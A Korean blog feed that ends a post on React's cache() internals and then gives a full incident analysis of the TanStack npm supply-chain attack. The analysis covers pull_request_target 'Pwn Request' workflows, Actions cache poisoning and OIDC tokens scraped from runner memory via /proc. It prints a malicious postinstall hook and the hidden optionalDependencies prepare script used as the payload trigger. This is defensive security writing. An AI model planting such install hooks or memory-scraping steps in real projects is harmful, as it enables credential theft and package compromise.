소스 레벨로 보면 `ERRORED` 상태는 동기 throw 전용이 맞다. 하지만 **관측되는 동작**으로 보면 async 실패도 거부 프로미스 재사용을 통해 사실상 캐시된다. 공식 문서가 sync/async를 구분하지 않고 그냥 "cachedFn will also cache errors"라고만 적은 것도 이 때문이다.

실무 함의는 하나다. **같은 요청 안에서 재시도가 필요한 호출을 `cache()`로 감싸면 안 된다.** 한 번 실패하면 그 요청 내내 같은 실패를 돌려받는다. 재시도 로직이 필요하면 `cache()` 바깥에 두거나, 실패를 캐시하면 안 되는 호출은 아예 감싸지 않는다.

## cacheSignal: 요청이 끝나면 끊기는 신호

`ReactCacheImpl.js`에는 `cache` 옆에 작은 동반 API가 하나 더 있다. 다만 `cache()`보다 나중에 나왔다 — `cache()`는 React 19.0.0부터지만 `cacheSignal()`은 19.2.0부터 stable이다.

```js
export function cacheSignal() {
  const dispatcher = ReactSharedInternals.A
  if (!dispatcher) return null
  return dispatcher.cacheSignal()
}
```

패턴은 `cache()`와 똑같다 — 디스패처가 없으면 `null`. 디스패처가 있으면 그 요청의 `AbortSignal`을 돌려준다. 앞에서 Request가 `this.cacheController = new AbortController()`를 들고 있던 걸 떠올리면 된다. `cacheSignal()`이 돌려주는 게 그 컨트롤러의 시그널이다.

쓸모는 명확하다. 캐시된 async 작업에 이 시그널을 넘겨두면, **요청이 끝나(또는 중단되어) 캐시가 폐기될 때 그 작업도 같이 abort된다.**

```tsx
import {cache, cacheSignal} from 'react'

export const getUser = cache((id: string) =>
  fetch(`/api/user/${id}`, {signal: cacheSignal() ?? undefined}),
)
```

요청이 끊겼는데도 백그라운드 fetch가 끝까지 살아 리소스를 잡는 상황을 막는 장치다. 요청 단위로 사는 캐시에 요청 단위로 죽는 신호를 짝지은 셈이다.

> 비슷한 이름의 다른 디스패처도 있다. 리코실리어(Fiber/SSR) 쪽에도 `getCacheForType`을 가진 별도의 `DefaultAsyncDispatcher`가 있는데, 이건 `CacheContext`에서 `<Cache>` 경계의 데이터를 읽어 `use()`/Suspense 캐시를 구동하는 **다른 경로**다[^6]. `cache()` 함수는 문서상 Server Components로 스코프가 한정되므로, 이 Fiber 경로를 `cache()`의 동작으로 섞어 이해하지 않는 게 좋다. 같은 `getCacheForType`이라는 이름을 공유할 뿐, 유저랜드 `cache()`가 직접 타는 길은 Flight 서버 디스패처다.

## 그래서 언제 쓰나

구현을 다 봤으니 실무 판단으로 돌아온다. `cache()`의 자리는 생각보다 좁고 분명하다.

**쓰기 좋은 곳.** 한 RSC 렌더 안에서 같은 데이터를 여러 컴포넌트가 필요로 할 때다. 레이아웃과 페이지가 둘 다 현재 유저를 조회한다거나, 사이드바와 본문이 같은 설정을 읽는다거나. fetch가 아닌 **DB·ORM 쿼리의 요청 단위 중복 제거**, 그리고 **비싼 계산을 트리 전체에서 한 번만** 하는 용도. `preload`로 워터폴을 줄이는 것도 여기 포함된다. 공통점은 전부 "한 요청, 한 렌더 안에서의 공유"라는 것이다.

**쓰면 안 되는 곳.** 요청을 넘겨 살아남아야 하는 캐시. 그건 `cache()`가 아니라 [`'use cache'`](/2026/05/use-cache-deep-dive)나 `unstable_cache`, 또는 Data Cache의 일이다. `cache()`는 다음 요청이 오면 빈손이다. 클라이언트 데이터 캐싱도 `cache()` 영역이 아니다 — 거기선 `cache()`가 no-op이니 React Query나 SWR을 쓴다. 같은 요청 안에서 재시도가 필요한 호출도 앞서 봤듯 부적합하다.

판단을 한 줄로 줄이면 이렇다. **"이 결과를 _이번 렌더 안에서_ 다시 쓰는가?"** 그렇다면 `cache()`다. "요청이 끝난 뒤에도 재사용하고 싶은가?"라면 다른 도구를 봐야 한다.

## Next.js에서 실제로 쓸 일이 있나

App Router를 쓰면 한 가지가 걸린다. Next가 `fetch`를 자동으로 dedup하기 때문이다. 같은 URL·옵션의 GET `fetch`는 한 렌더 안에서 [자동으로 메모이즈](https://nextjs.org/docs/app/api-reference/functions/fetch#memoization)된다(React의 request memoization). 그래서 **`fetch`는 `cache()`로 감쌀 필요가 없다.** 공식 문서도 "React cache로 감쌀 필요 없다"고 못 박는다.

그럼 `cache()`의 자리는 어디인가. **`fetch`가 아닌 것** 전부다. Next 공식 문서가 직접 권장한다 — "ORM이나 데이터베이스를 직접 쓴다면 React `cache`로 감싸 한 렌더 안의 중복 호출을 제거하라"며 [Drizzle 예제](https://nextjs.org/docs/app/guides/caching-without-cache-components#deduplicating-requests)를 든다. Prisma·Drizzle·raw SQL은 `fetch`처럼 자동 dedup되지 않는다. 이걸 fetch처럼 알아서 합쳐진다고 착각하는 게 가장 흔한 실수다.

가장 대표적인 패턴은 **인증 DAL(Data Access Layer)**이다. `getCurrentUser()`나 `verifySession()`을 `cache()`로 감싸두면, 레이아웃·페이지·말단 컴포넌트·Server Action이 제각기 호출해도 DB 조회와 세션 복호화가 요청당 한 번만 일어난다. Next의 [Authentication](https://nextjs.org/docs/app/guides/authentication)·[Data Security](https://nextjs.org/docs/app/guides/data-security) 가이드가 미는 정석 패턴이고, `cookies()` 같은 요청 단위 동적 값은 `'use cache'`로 감쌀 수 없으니 여기서는 `cache()`가 정답이다.

오해 하나만 더. `cache()`는 `'use cache'`에 밀려난 게 아니다. 둘은 **직교**한다 — `cache()`는 요청 단위 dedup, `'use cache'`는 요청을 넘는 영속 캐시. Next 16에서 대체되는 건 `cache()`가 아니라 `unstable_cache`(→ `'use cache'`)다. `cache()`는 이전 모델과 Cache Components 모델 양쪽에서 그대로 유효하고, 공식 문서도 현행으로 권장한다.

정리하면, **Next.js에서 `cache()`는 좁지만 분명한 자리가 있다.** fetch만 쓰는 앱이면 평생 안 쓸 수도 있지만, ORM·세션·권한이 얽힌 진지한 서버 트리에서는 사실상 필수에 가깝다.

## 마치며

`cache()`는 30여 줄짜리 함수다. 그 안에 마법은 없다.

- 디스패처가 없으면 캐싱을 건너뛴다. → **RSC 전용이고, 컴포넌트 밖·클라이언트에서는 no-op이다.**
- 캐시는 함수 레퍼런스와 인자로 만든 트리고, 객체는 레퍼런스를 키로 WeakMap에 들어간다. → **매 렌더 새 객체를 넘기면 항상 미스고, 모듈 레벨에서 한 번만 감싸야 한다.**
- 캐시 저장소는 디스패처가 요청마다 새로 만드는 Map 안에 산다. → **요청·유저 간에 절대 공유되지 않고, 요청이 끝나면 폐기된다.**
- 반환값은 레퍼런스 그대로 저장된다. → **async면 같은 프로미스를 공유해 요청을 dedup하고, `preload`가 동작하며, 실패는 같은 요청 안에서 재시도되지 않는다.**

문서의 규칙을 외우는 대신 구현 하나를 읽으면, 그 규칙들이 전부 "그럴 수밖에 없는 것"으로 바뀐다. `cache()`가 헷갈렸다면 그건 API가 복잡해서가 아니라, 이 함수가 **요청 하나의 수명에 단단히 묶인 메모이제이션**이라는 한 가지 사실을 안 보고 규칙만 봤기 때문이다. 디스패처, 트리, 요청 단위 Map — 이 셋이 그 한 가지 사실의 세 얼굴이다.

## 참고

- [cache – React 공식 문서](https://react.dev/reference/react/cache)
- [`facebook/react` — ReactCacheImpl.js](https://github.com/facebook/react/blob/v19.2.6/packages/react/src/ReactCacheImpl.js)
- [`facebook/react` — ReactFlightServer.js](https://github.com/facebook/react/blob/v19.2.6/packages/react-server/src/ReactFlightServer.js)
- [Deduplicating requests with React cache – Next.js 공식 문서](https://nextjs.org/docs/app/guides/caching-without-cache-components#deduplicating-requests)
- [`'use cache'` 디렉티브 딥다이브: 캐시 경계의 끝까지](/2026/05/use-cache-deep-dive)

[^1]: [cache – React 공식 문서](https://react.dev/reference/react/cache) — `cache()`의 시그니처, 스코프(요청 단위, RSC 전용), 인자 shallow equality(`Object.is`), 에러 캐싱, `preload`/스냅샷 공유 사용 사례, "컴포넌트 밖에서는 캐시를 쓰지 않음" 등 모든 공식 규칙의 출처. `cache()`는 React 19에서 stable로 도입됐다.

[^2]: [`facebook/react` — packages/react/src/ReactCacheImpl.js](https://github.com/facebook/react/blob/v19.2.6/packages/react/src/ReactCacheImpl.js) — `cache()`/`cacheSignal()`의 실제 구현. 상태 sentinel(`UNTERMINATED=0`/`TERMINATED=1`/`ERRORED=2`), 노드 형태 `{s, v, o, p}`, 디스패처 가드, WeakMap/Map 트리 순회, 에러 캐싱 로직.

[^3]: [`facebook/react` — packages/react/src/ReactCacheClient.js](https://github.com/facebook/react/blob/v19.2.6/packages/react/src/ReactCacheClient.js) — 클라이언트 엔트리의 `cache = disableClientCache ? noopCache : cacheImpl`. `ReactFeatureFlags.js`의 `disableClientCache = true` 기본값과 `noopCache`의 "client caching을 향후 메이저에 구현 예정" 주석.

[^4]: [`facebook/react` — packages/react/src/ReactSharedInternalsClient.js](https://github.com/facebook/react/blob/v19.2.6/packages/react/src/ReactSharedInternalsClient.js) — `ReactSharedInternals.A`(AsyncDispatcher) 슬롯. 주석상 `ReactCurrentCache`. `getCacheForType`/`cacheSignal` 계약을 정의한다.

[^5]: [`facebook/react` — packages/react-server/src/ReactFlightServer.js](https://github.com/facebook/react/blob/v19.2.6/packages/react-server/src/ReactFlightServer.js) — 요청 단위 캐시의 출처. Request 인스턴스의 `this.cache = new Map()`, `this.cacheController = new AbortController()`, `getCache(request)`/`resolveRequest()`, `currentRequest`/`AsyncLocalStorage`(`requestStorage`, `async_hooks`)를 통한 현재 요청 해소. `getCacheForType` 자체는 sibling 모듈 `flight/ReactFlightAsyncDispatcher.js`의 `DefaultAsyncDispatcher`에 있고, 그게 `getCache(request)`로 이 Map을 읽는다.

[^6]: [`facebook/react` — packages/react-reconciler/src/ReactFiberAsyncDispatcher.js](https://github.com/facebook/react/blob/v19.2.6/packages/react-reconciler/src/ReactFiberAsyncDispatcher.js) — 리코실리어(Fiber/SSR)의 `DefaultAsyncDispatcher`. `readContext(CacheContext)`로 `<Cache>` 경계의 데이터를 읽는 별개 경로로, `use()`/Suspense 캐시를 구동한다. 유저랜드 `cache()`와 혼동하지 말 것.

---

Source: https://yceffort.kr/2026/05/tanstack-npm-supply-chain-attack.md
Title: <em>TanStack</em> npm 공급망 공격 분석: pull_request_target은 왜 위험한가
Description: @tanstack/* 공급망 공격 사건 분석. pull_request_target, GitHub Actions 캐시, OIDC trusted publisher의 위험과 방어책
Date: 2026-05-16
Tags: security, github-actions, npm, supply-chain, ci-cd

## Table of Contents

## 서론

지난 12월 React/Next.js의 React2Shell 사태[^3]가 "프레임워크가 번들링한 내부 의존성에서 발생한 RCE"였다면, 이번 사건은 한 단계 더 나아간 이야기다. 코드 자체에는 아무런 문제가 없었다. 문제는 **그 코드를 빌드하고 npm에 발행하는 워크플로우**에 있었다.

2026년 5월 11일, `@tanstack/*` 네임스페이스의 42개 패키지가 한꺼번에 탈취되어 악성 코드가 박힌 채로 npm 레지스트리에 발행됐다. `@tanstack/history`, `@tanstack/react-router`, `@tanstack/react-start` 같은 핵심 패키지들이 전부 포함됐다. 다행히 외부 보안 연구자가 발행 후 약 26분 만에 탐지해서 issue를 열었고, TanStack 팀이 빠르게 deprecated 처리하면서 피해 규모는 제한적이었다.

하지만 공격 자체가 어떻게 이루어졌는지를 들여다보면 흥미롭다. **공격자는 단 한 줄의 코드도 메인 브랜치에 머지하지 않았다.** 단지 PR을 열고 강제 푸시를 몇 번 했을 뿐이다. 그것만으로 GitHub Actions의 캐시를 오염시켰고, 그 캐시는 며칠 후 release 워크플로우가 정상적으로 실행될 때 자동으로 복원됐다. 그리고 그 release 워크플로우는 npm의 OIDC trusted publisher 권한을 가지고 있었다.

이 글에서는 TanStack 사태를 통해 다음 질문에 답해보자.

- `pull_request_target`은 왜 만들어졌고 왜 그렇게 위험한가
- "Pwn Request" 공격 패턴이란 무엇인가
- GitHub Actions의 캐시가 어떻게 신뢰 경계를 무너뜨리는가
- OIDC trusted publisher는 안전한가
- 라이브러리를 운영하는 입장에서, 그리고 사용하는 입장에서 무엇을 해야 하는가

## 사건 타임라인

먼저 사건이 어떻게 흘러갔는지 시간 순으로 정리해보자. TanStack 팀의 postmortem[^1]과 GitHub issue #7383[^2]에 정리된 내용을 기반으로 한다.

### 1단계: 사전 정찰과 페이로드 준비 (5월 10일)

| 시각 (UTC) | 사건                                                                                                                                                                                                                                                                             |
| ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 5/10 17:16 | 공격자가 [`zblgg/configuration`](https://github.com/jonchurch/configuration/tree/testing) 포크 생성 (원본은 `TanStack/router`, 원본 포크는 이미 삭제됐고 `jonchurch`가 보존한 사본)                                                                                              |
| 5/10 23:29 | [악성 커밋 작성](https://gist.github.com/jonchurch/35e88271d58ebc631096bfc90bef53a9#file-vite_setup-65bf499-mjs-L29199) (작성자 identity를 `claude <claude@users.noreply.github.com>`로 위장. 약 29,000줄짜리 파일의 끝부분에 정상 npm 패키지 번들로 위장한 페이로드가 숨어있다) |

공격자는 `Claude`인 척 커밋 identity를 위조했다. AI 도구가 만든 커밋처럼 보이게 해서 의심을 줄이려는 의도였을 가능성이 높다. 또 fork된 레포의 이름도 `configuration`이라는 무난한 이름으로 바꿔서 일반적인 설정 파일 PR처럼 보이게 했다.

### 2단계: 캐시 포이즈닝 (5월 11일 오전)

| 시각 (UTC)         | 사건                                                                                                                                                                    |
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 5/11 10:49         | [PR #7378 "WIP: simplify history build"](https://github.com/TanStack/router/pull/7378) 오픈                                                                             |
| 5/11 11:01 - 11:11 | 여러 차례 force-push로 [`bundle-size.yml`](https://github.com/TanStack/router/blob/main/.github/workflows/bundle-size.yml) (`pull_request_target` 워크플로우) 반복 실행 |
| 5/11 11:29         | GitHub Actions 캐시에 1.1GB의 오염된 pnpm store 저장                                                                                                                    |

이 단계가 이 사건의 가장 중요한 핵심이다. 공격자는 **PR 머지를 시도조차 하지 않았다.** 그저 PR을 열고 강제 푸시를 반복했을 뿐이다. 이게 어떻게 공격으로 이어지는지는 뒤에서 자세히 살펴본다.

### 3단계: 공격 실행 (5월 11일 저녁)

| 시각 (UTC)    | 사건                                                                                                                                        |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
| 5/11 19:15:44 | release 워크플로우 4번째 시도 실행 — 오염된 캐시 복원                                                                                       |
| 5/11 19:20:39 | npm에 1차 발행: [`@tanstack/history@1.161.9`](https://www.npmjs.com/package/@tanstack/history/v/1.161.9) 등 14개 패키지 (총 42개 패키지 중) |
| 5/11 19:26:14 | npm에 2차 발행: [`@tanstack/history@1.161.12`](https://www.npmjs.com/package/@tanstack/history/v/1.161.12) 등                               |

TanStack 메인테이너가 평상시처럼 main 브랜치에 머지하고 release 워크플로우가 돌았다. 이 워크플로우는 캐시 키 `Linux-pnpm-store-${hashFiles('**/pnpm-lock.yaml')}`로 캐시를 복원했는데, **그 캐시가 이미 8시간 전에 오염되어 있었다.** 오염된 pnpm store에서 악성 의존성이 설치되었고, 그 결과 모든 빌드 산출물에 백도어가 박힌 채로 npm에 발행됐다.

### 4단계: 탐지와 대응

| 시각 (UTC)         | 사건                                                                                                                                                            |
| ------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 5/11 19:46         | StepSecurity의 보안 연구자 [`ashishkurmi`](https://github.com/ashishkurmi)가 [issue #7383](https://github.com/TanStack/router/issues/7383) 오픈 (발행 후 ~26분) |
| 5/11 19:50 경      | 외부 보안 연구자 [`carlini`](https://github.com/TanStack/router/issues/7383#issuecomment-4425225340)가 페이로드 정밀 분석 코멘트 게시                           |
| 5/11 20:19         | 첫 2개 버전 deprecated 처리                                                                                                                                     |
| 5/11 21:03         | 전체 84개 버전 (42개 패키지 × 2개 버전) deprecated 완료                                                                                                         |
| 5/11 22:13 - 23:55 | npm이 서버 차원에서 tarball 제거                                                                                                                                |
| 사후               | [Socket이 추적한 worm 전파 목록](https://socket.dev/supply-chain-attacks/mini-shai-hulud) — 200개 이상 패키지로 확산                                            |

빠른 탐지였지만, **TanStack 팀이 자체적으로 탐지한 게 아니라 외부 연구자가 발견한 것**이다. postmortem에서 명시적으로 인정한 부분이다.

## 공격의 시작점: `pull_request_target`

이 사건을 이해하려면 먼저 `pull_request_target`이라는 GitHub Actions 트리거가 무엇인지 알아야 한다. 정상적인 `pull_request` 트리거와 무엇이 다른지, 왜 만들어졌는지부터 살펴보자.

### `pull_request` vs `pull_request_target`

GitHub Actions에는 PR과 관련된 두 가지 트리거가 있다.

**`pull_request`**

```yaml
on:
  pull_request:
    branches: [main]
```

PR이 열리거나 업데이트될 때 실행된다. 핵심 특징은 다음과 같다.

- PR을 만든 **fork 레포의 컨텍스트**에서 실행
- `GITHUB_TOKEN`은 **읽기 권한만** 가짐
- 시크릿(secrets)에 접근할 수 없음
- 캐시는 base 레포의 캐시를 **읽기만** 가능

즉, fork에서 온 PR이 아무리 악의적인 코드를 담고 있어도, 그 코드는 권한이 거의 없는 상태로 실행된다. 시크릿도 못 읽고 base 레포를 수정할 권한도 없다.

**`pull_request_target`**

```yaml
on:
  pull_request_target:
    branches: [main]
```

같은 PR 이벤트지만, 완전히 다르게 동작한다.

- **base 레포의 컨텍스트**에서 실행 (즉, target 브랜치의 코드를 실행)
- `GITHUB_TOKEN`은 **쓰기 권한** 가짐
- 시크릿에 접근 가능
- 캐시 **쓰기** 가능

### 왜 `pull_request_target`이 만들어졌나

`pull_request_target`이 만들어진 이유는 합리적이다. 다음과 같은 시나리오를 생각해보자.

- 외부 기여자가 PR을 열었는데, 자동으로 라벨을 붙이고 싶다
- PR의 사이즈를 측정해서 코멘트를 달고 싶다
- 첫 기여자에게 환영 메시지를 보내고 싶다
- 외부 PR에 대해 벤치마크를 돌리고 결과를 코멘트로 남기고 싶다

이런 작업들은 모두 **base 레포에 대한 쓰기 권한**이 필요하다. 코멘트를 달거나 라벨을 붙이려면 GitHub API에 쓰기 권한이 있어야 하니까. 일반 `pull_request` 트리거로는 이게 불가능하다.

GitHub은 이 문제를 해결하기 위해 `pull_request_target`을 도입했다[^7]. 이 트리거의 핵심 디자인은 이렇다.

> **"PR의 코드는 실행하지 말고, target 브랜치(즉, 신뢰할 수 있는 base 브랜치)의 코드만 실행하라."**

이 디자인이 지켜진다면 안전하다. 왜냐하면 외부 PR의 코드는 절대 실행되지 않으니까. 단지 그 PR의 메타데이터(번호, 작성자, 변경된 파일 목록 등)만 가지고 base 레포의 신뢰할 수 있는 스크립트가 실행되는 것이다.

### 그런데 왜 위험한가

문제는 많은 워크플로우가 이 디자인 원칙을 어긴다는 점이다. TanStack의 워크플로우([`bundle-size.yml`](https://github.com/TanStack/router/blob/main/.github/workflows/bundle-size.yml))를 보자.

```yaml:.github/workflows/bundle-size.yml
on:
  pull_request_target:
    paths: ['packages/**', 'benchmarks/**']

jobs:
  benchmark-pr:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6.0.2
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge
      - uses: pnpm/action-setup@v4
      - uses: actions/setup-node@v6
        with:
          cache: 'pnpm'
      - run: pnpm install
      - run: pnpm nx run @benchmarks/bundle-size:build
```

`pull_request_target` 트리거임에도 불구하고, `actions/checkout`에서 **PR의 머지 ref(`refs/pull/${{ github.event.pull_request.number }}/merge`)를 체크아웃**한다. 이건 PR의 코드를 의도적으로 가져오는 것이다.

그 다음 `pnpm install`을 실행한다. 그런데 PR이 `package.json`을 수정했다면? `postinstall` 스크립트를 추가했다면? `pnpm install`은 그걸 그대로 실행한다.

이게 바로 **"Pwn Request" 패턴**이다. `pull_request_target`의 권한(시크릿, 쓰기 권한, 캐시 쓰기)을 가지고, PR의 코드(즉, 공격자의 코드)를 실행하는 것이다.

## "Pwn Request" 공격 패턴

"Pwn Request"는 보안 업계에서 이 패턴을 부르는 별명이다. 2021년부터 알려진 공격 패턴인데, 5년이 지난 지금도 메이저 오픈소스 프로젝트들에서 계속 발견되고 있다[^6].

### 공격 시나리오

공격자 입장에서 이 패턴을 어떻게 악용하는지 단계별로 살펴보자.

**1단계: 취약한 워크플로우 발견**

공격자는 GitHub 검색이나 정적 분석 도구로 다음 패턴을 가진 레포를 찾는다.

- `on: pull_request_target` 트리거 사용
- 워크플로우 내에서 PR의 머지 ref를 체크아웃
- `pnpm install`, `npm install`, `yarn install` 등 빌드 명령 실행

이 세 조건이 모두 만족되면 "Pwn Request"가 가능하다.

**2단계: 페이로드 작성**

공격자는 fork를 만들고 악성 페이로드를 심는다. 가장 흔한 방법은 `package.json`의 `scripts.postinstall` 또는 `scripts.prepare`를 수정하는 것이다.

```json:package.json
{
  "scripts": {
    "postinstall": "node ./malicious_script.js"
  }
}
```

`pnpm install`이 실행되면 이 스크립트가 자동으로 실행된다. 이 시점에서 공격자는 base 레포의 시크릿, GITHUB_TOKEN, 그리고 캐시 쓰기 권한을 모두 손에 쥔다.

**3단계: 첫 기여자 승인 우회**

GitHub에는 "Require approval for first-time contributors" 설정이 있다. 첫 기여자의 워크플로우는 메인테이너가 승인해야 실행된다는 것이다. 이걸로 막을 수 있을까?

**아니다.** `pull_request_target`은 이 게이트의 **예외**다. base 레포의 워크플로우 파일을 실행하는 것이지 PR의 워크플로우를 실행하는 것이 아니라서, GitHub는 이걸 "신뢰할 수 있는" 실행으로 간주한다.

그래서 공격자가 first-time contributor라도, `pull_request_target` 워크플로우는 즉시 실행된다. 메인테이너의 승인 없이.

### TanStack 사건에서 실제로 일어난 일

위 패턴을 TanStack 워크플로우에 적용해보면 다음과 같다.

```yaml
on:
  pull_request_target:
    paths: ['packages/**', 'benchmarks/**']

jobs:
  benchmark-pr:
    steps:
      - uses: actions/checkout@v6.0.2
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge
      - uses: actions/setup-node@v6
        with:
          cache: 'pnpm' # <-- 이게 캐시 쓰기를 활성화
      - run: pnpm install # <-- 이 시점에 PR의 postinstall 실행 가능
      - run: pnpm nx run @benchmarks/bundle-size:build
```

공격자는 PR에 다음을 포함시켰을 것이다.

1. `pnpm-lock.yaml` 수정 (캐시 키에 영향을 주기 위해, 또는 악성 의존성을 추가)
2. `postinstall` 또는 빌드 스크립트에 페이로드 삽입
3. 페이로드는 pnpm store 디렉토리에 악성 패키지를 심음

그리고 force-push를 여러 번 했다. 왜? `actions/setup-node@v6`의 `cache: 'pnpm'` 옵션은 **워크플로우가 성공할 때만** 캐시를 저장한다. 그래서 페이로드를 실행하면서도 빌드가 성공해야 한다. 공격자는 빌드를 성공시키기까지 4번의 시도를 했고, 마지막에 1.1GB의 오염된 pnpm store가 캐시에 저장됐다.

## GitHub Actions 캐시: 신뢰 경계가 무너지는 지점

여기서 가장 핵심적인 질문이 나온다. **PR 워크플로우에서 저장된 캐시가 왜 main 브랜치의 release 워크플로우에서 사용되는가?**

GitHub Actions의 캐시 디자인을 살펴보자.

### 캐시 스코프 규칙

GitHub Actions 캐시는 다음 규칙으로 동작한다.

- 캐시는 **레포지토리 단위로** 저장됨
- 캐시 키는 사용자가 정의 (대부분 `actions/setup-node`가 `Linux-pnpm-store-${hashFiles('pnpm-lock.yaml')}` 같은 키를 자동 생성)
- 캐시의 보안 경계는 **브랜치(ref)**. 워크플로우는 자기 브랜치 또는 default branch가 만든 캐시만 복원할 수 있다

여기서 핵심은 **`pull_request_target` 트리거가 base 브랜치 컨텍스트에서 실행된다**는 점이다. 일반 `pull_request` 트리거는 PR의 `refs/pull/N/merge` 컨텍스트에서 돌기 때문에, 거기서 만든 캐시는 그 PR에만 갇혀있다. main에서 그 캐시를 복원할 수 없다.

하지만 `pull_request_target`은 다르다. 이 트리거의 워크플로우는 **main(default branch) 컨텍스트에서 실행**된다. 따라서 여기서 저장한 캐시는 **main 브랜치의 캐시 스코프에 직접 들어간다.** 다음번 main 브랜치 워크플로우(예: release.yml)가 같은 키로 캐시를 찾으면 그대로 복원된다.

즉, `pull_request_target`은 캐시 쓰기 권한도 가지고 있고, 그 쓰기가 default branch 스코프에 들어간다는 점이 결정적이다. 워크플로우가 PR의 코드를 실행한다면, **공격자가 main 브랜치의 캐시를 마음대로 오염시킬 수 있다.**

### `permissions: contents: read`는 왜 안 막아주나

TanStack의 워크플로우에는 다음과 같이 권한 제한이 있었다.

```yaml
permissions:
  contents: read
```

이걸 보면 "쓰기 권한 없으니 안전하지 않나?"라고 생각할 수 있다. 하지만 이 권한 설정은 **GitHub API 호출에 대한 권한**을 제어할 뿐이다. 즉, GITHUB_TOKEN으로 레포에 푸시하거나 이슈에 코멘트를 다는 행위를 막는다.

**캐시 쓰기는 GITHUB_TOKEN으로 하는 게 아니다.** GitHub Actions runner 내부의 별도 토큰을 사용한다. 따라서 `permissions: contents: read`는 캐시 쓰기를 전혀 막지 못한다.

이게 알려지지 않은 함정 중 하나다. 많은 메인테이너가 권한 제한을 걸어두면 안전하다고 생각하지만, 캐시는 그 보호 범위 밖이다.

### 캐시 → release 워크플로우의 흐름

TanStack의 release 워크플로우는 다음과 같은 형태였을 것이다.

```yaml:.github/workflows/release.yml
on:
  push:
    branches: [main]

jobs:
  release:
    permissions:
      contents: write
      id-token: write   # <-- npm OIDC trusted publisher용
    steps:
      - uses: actions/checkout@v6.0.2
      - uses: actions/setup-node@v6
        with:
          cache: 'pnpm'   # <-- 이게 PR이 오염시킨 캐시를 복원
      - run: pnpm install
      - run: pnpm publish -r
```

main에 머지가 일어나면 이 워크플로우가 돈다. `actions/setup-node`의 `cache: 'pnpm'`은 캐시 키가 일치하는 캐시를 자동으로 복원한다. 그런데 그 캐시 키 — `Linux-pnpm-store-${hashFiles('pnpm-lock.yaml')}` — 는 PR이 만든 캐시 키와 정확히 일치할 수 있다.

공격자가 PR에서 `pnpm-lock.yaml`을 main과 동일한 상태로 만들어두기만 하면, 캐시 키는 일치한다. 그리고 `pnpm install`은 그 오염된 store에서 의존성을 가져온다. **결국 release 빌드 자체가 오염된다.**

## OIDC trusted publisher: 토큰을 없애도 안전하지 않다

npm은 최근에 "trusted publisher"라는 기능을 도입했다. 기존에는 npm에 패키지를 발행하려면 NPM_TOKEN을 시크릿으로 저장해야 했다. 토큰이 유출되면 누구나 발행할 수 있어서 위험했다.

trusted publisher는 OIDC를 사용한다. 흐름은 다음과 같다.

1. GitHub Actions 워크플로우가 `id-token: write` 권한을 가지고 실행됨
2. 워크플로우가 GitHub의 OIDC provider에 토큰을 요청
3. 그 토큰에는 워크플로우 정보(레포, 워크플로우 파일, 브랜치)가 서명되어 들어있음
4. npm은 미리 등록된 trusted publisher 설정과 OIDC 토큰의 클레임을 비교
5. 일치하면 그 시점에 일회용 npm 토큰을 발급해서 발행 허용

이론적으로는 훨씬 안전하다. 영구 토큰이 없으니 유출될 게 없다. 토큰을 직접 다루는 건 npm CLI와 GitHub OIDC 사이에서만 일어난다.

그런데 이번 공격자는 어떻게 발행에 성공했나?

### OIDC 토큰 메모리 추출

공격자의 페이로드는 단순히 의존성을 오염시키는 데서 그치지 않았다. release 워크플로우가 실행될 때 **runner 프로세스의 메모리에서 OIDC 토큰을 직접 추출**했다.

```text
/proc/*/cmdline      → Runner.Worker 프로세스 식별
/proc/<pid>/maps     → 메모리 맵 조회
/proc/<pid>/mem      → 메모리 덤프
```

리눅스 환경에서는 `/proc` 가상 파일시스템을 통해 같은 사용자 권한의 다른 프로세스 메모리에 접근할 수 있다. runner 프로세스는 OIDC 토큰을 메모리에 보관하고 있고, 그걸 정규식으로 긁어내면 된다.

토큰을 추출한 다음, 공격자는 **워크플로우의 publish step을 거치지 않고** 직접 `registry.npmjs.org`에 POST 요청을 보냈다. 이렇게 하면 자기가 원하는 임의의 페이로드를 자기가 원하는 버전 번호로 발행할 수 있다.

이 기법은 새로운 게 아니다. 2025년 3월 `tj-actions/changed-files` 공격[^5]에서 사용된 것과 **거의 동일한 Python 스크립트**가 재사용됐다. TanStack postmortem에서 이 점을 명시했다[^1].

### trusted publisher의 의의

그렇다면 trusted publisher는 무용지물인가? 그렇지는 않다. 다만 **빌드 워크플로우 자체가 신뢰할 수 있어야** 한다는 전제가 있다. 빌드 워크플로우가 오염되면 OIDC 토큰을 가지고 무엇이든 할 수 있다.

이번 공격은 trusted publisher 자체를 우회한 게 아니다. **워크플로우의 신뢰성을 파괴하는 방식으로** 우회한 것이다. 빌드 단계에서 임의 코드 실행이 가능하다면, 그 코드는 발행 권한을 그대로 사용할 수 있다.

## 페이로드 분석: 무엇을 훔쳤나

탈취된 패키지에 박힌 페이로드는 어떻게 동작했을까. 공개된 분석 자료를 종합하면 다음과 같다.

### 진입점: optionalDependencies 트릭

오염된 패키지의 `package.json`에는 다음과 같은 항목이 추가되어 있었다.

```json:package.json {3-5}
{
  "name": "@tanstack/history",
  "optionalDependencies": {
    "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
  }
}
```

이게 npm install 시 무엇을 하는지 살펴보자.

1. npm은 `@tanstack/setup`을 git 의존성으로 처리해서 `tanstack/router` 레포의 해당 commit을 체크아웃
2. `79ac49ee`는 **orphan commit** (어떤 브랜치에도 연결되지 않은 떠다니는 커밋)이라 평소에는 보이지 않음
3. 그 커밋의 `package.json`에는 `prepare` 스크립트가 있음

```json {3}
{
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
  }
}
```

이 trick이 깔끔하다.

- `bun run tanstack_runner.js`로 페이로드 실행
- `&& exit 1`로 의도적으로 실패시킴
- `optionalDependencies`라서 실패해도 npm install은 성공
- npm은 "optional dep 설치 실패"로 처리하고 조용히 넘어감

사용자 입장에서는 그냥 평범한 npm install이다. 에러도 안 뜬다. 그러나 백그라운드에서 `tanstack_runner.js`가 이미 실행됐다.

### 자격증명 수집

`router_init.js`(약 2.3MB의 난독화된 페이로드)가 노리는 자격증명은 광범위했다.

- AWS IMDS (EC2 인스턴스 메타데이터 서비스)
- AWS Secrets Manager
